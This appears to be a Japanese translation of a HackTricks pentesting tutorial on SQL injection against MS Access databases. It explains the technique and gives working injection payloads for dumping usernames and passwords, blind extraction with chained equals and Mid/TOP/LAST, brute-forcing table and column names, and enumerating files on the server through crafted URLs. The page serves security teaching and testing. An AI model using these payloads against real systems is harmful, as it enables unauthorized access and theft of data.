hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

203 lines
13 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# MS Access SQLインジェクション
2022-08-31 13:22:13 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-08-31 13:22:13 +00:00
</details>
2023-07-07 23:42:27 +00:00
## オンラインプレイグラウンド
2022-08-31 13:22:13 +00:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
2023-07-07 23:42:27 +00:00
## DBの制限事項
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### 文字列の連結
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
文字列の連結は、`& (%26)`と`+ (%2b)`の文字で可能です。
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2023-07-07 23:42:27 +00:00
### コメント
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
2023-07-07 23:42:27 +00:00
もし動作しない場合は、クエリの構文を修正することもできます。
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
2023-07-07 23:42:27 +00:00
### スタックされたクエリ
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
サポートされていません。
2022-08-31 13:22:13 +00:00
### LIMIT
2023-07-07 23:42:27 +00:00
**`LIMIT`**演算子は**実装されていません**。ただし、`TOP`演算子を使用してSELECTクエリの結果を最初のN行に制限することができます。`TOP`は引数として、返される行数を表す整数を受け入れます。
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
2023-07-07 23:42:27 +00:00
TOPと同様に、**`LAST`**を使用することができます。これにより、**末尾からの行**を取得できます。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
## UNIONクエリ/サブクエリ
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリをいかに実行するかを考える必要があります。MS Accessでは、**サブクエリや追加のクエリでは`FROM`が指定されている必要があります**。\
したがって、`UNION SELECT`または`UNION ALL SELECT`または条件内のカッコ内の`SELECT`を実行したい場合は、常に**有効なテーブル名を指定する必要があります**。\
したがって、**有効なテーブル名**を知る必要があります。
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
2023-07-07 23:42:27 +00:00
### チェーンの等号 + サブストリング
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
これにより、テーブルの名前を知る必要なく、現在のテーブルの値を外部に漏洩させることができます。
2022-08-31 13:22:13 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
**MS Access**は、**`'1'=2='3'='asd'=false`**のような**奇妙な構文**を許可します。通常、SQLインジェクションは**`WHERE`**句の中にあるため、これを悪用することができます。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
MS AccessデータベースでSQLiがあるとしましょう。そして、**列名がusername**であることを知っている(または推測している)場合、チェーンの等号テクニックが使用されたときのウェブアプリの異なる応答をチェックし、**`Mid`**関数を使用してサブストリングを取得することで、コンテンツを外部に漏洩させることができます。
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
2023-07-07 23:42:27 +00:00
もしテーブルの名前とダンプするカラムが分かっている場合、`Mid`、`LAST`、`TOP`の組み合わせを使用して、ブール型のSQLiを介してすべての情報を**漏洩**させることができます。
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
2023-07-07 23:42:27 +00:00
_オンラインプレイグラウンドで確認してください。_
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### テーブル名のブルートフォース攻撃
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
チェーンイコールテクニックを使用して、次のような方法で**テーブル名をブルートフォース攻撃**することもできます。
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
2023-07-07 23:42:27 +00:00
より伝統的な方法も使用することができます。
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
2023-07-07 23:42:27 +00:00
_オンラインプレイグラウンドでこれを確認してください。_
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
* Sqlmapの一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 別のリストは[http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)にあります
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### カラム名のブルートフォース攻撃
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
現在のカラム名を**チェインイコールトリック**を使用してブルートフォース攻撃することができます。
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
2023-07-07 23:42:27 +00:00
または、**group by** を使用して:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
2023-07-07 23:42:27 +00:00
または、次のコードを使用して、**別のテーブル**の列名をブルートフォースで特定することもできます。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
```sql
SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name'
```
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
このクエリでは、`table_name`の部分を特定のテーブル名に置き換える必要があります。
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
2023-07-07 23:42:27 +00:00
### データのダンプ
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
既に[**チェーンイコールテクニック**](ms-access-sql-injection.md#chaining-equals-+-substring)について**現在のテーブルや他のテーブルからデータをダンプする**方法について説明しました。しかし、他の方法もあります:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
2023-07-07 23:42:27 +00:00
要するに、このクエリは「if-then」ステートメントを使用して、成功した場合に「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。TOP 10演算子を利用することで、最初の10件の結果を選択することができます。その後、LASTの使用により、10番目のタプルのみを考慮することができます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### 時間ベース
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)を参照してください。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### その他の興味深い関数
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
* `Mid('admin',1,1)`は位置1から長さ1の部分文字列を取得します初期位置は1です
* `LEN('1234')`は文字列の長さを取得します。
* `ASC('A')`は文字のASCII値を取得します。
* `CHR(65)`はASCII値から文字列を取得します。
* `IIF(1=1,'a','b')`はif thenです。
* `COUNT(*)`はアイテムの数を数えます。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
## テーブルの列挙
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
[**ここ**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)から、テーブル名を取得するクエリを確認できます。
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
2023-07-07 23:42:27 +00:00
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2022-08-31 13:22:13 +00:00
order by MSysObjects.name
```
2023-07-07 23:42:27 +00:00
ただし、SQLインジェクションでは、**テーブル`MSysObjects`を読み取る権限がない**場合が非常に一般的です。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
## ファイルシステムアクセス
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### Webルートディレクトリの完全パス
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
**Webルートの絶対パスを知ることは、さらなる攻撃を容易にする**かもしれません。アプリケーションのエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることで、ディレクトリパスを特定することができます。
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
2023-07-07 23:42:27 +00:00
MS Accessは、**Webディレクトリの完全パス名を含むエラーメッセージ**で応答します。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### ファイルの列挙
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
次の攻撃ベクトルは、**リモートファイルシステム上のファイルの存在を推測する**ために使用できます。指定したファイルが存在する場合、MS Accessはデータベースの形式が無効であることを通知するエラーメッセージをトリガします。
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
2023-07-07 23:42:27 +00:00
ファイルを列挙する別の方法は、**データベース.テーブルのアイテムを指定する**ことです。**指定したファイルが存在する場合**、MS Accessは**データベースの形式エラーメッセージ**を表示します。
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
2023-07-07 23:42:27 +00:00
### .mdbファイル名の推測
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
次のクエリを使用して、**データベースファイル名(.mdb**を推測することができます。
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
2023-07-07 23:42:27 +00:00
ここで、**name\[i]は.mdbファイル名**であり、**realTableはデータベース内の存在するテーブル**です。MS Accessは常にエラーメッセージをトリガしますが、無効なファイル名と有効な.mdbファイル名を区別することができます。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### .mdbパスワードクラッカー
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)は、Microsoft Access 95/97/2000/XPまたはJet Database Engine 3.0/4.0のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
2022-08-31 13:22:13 +00:00
</details>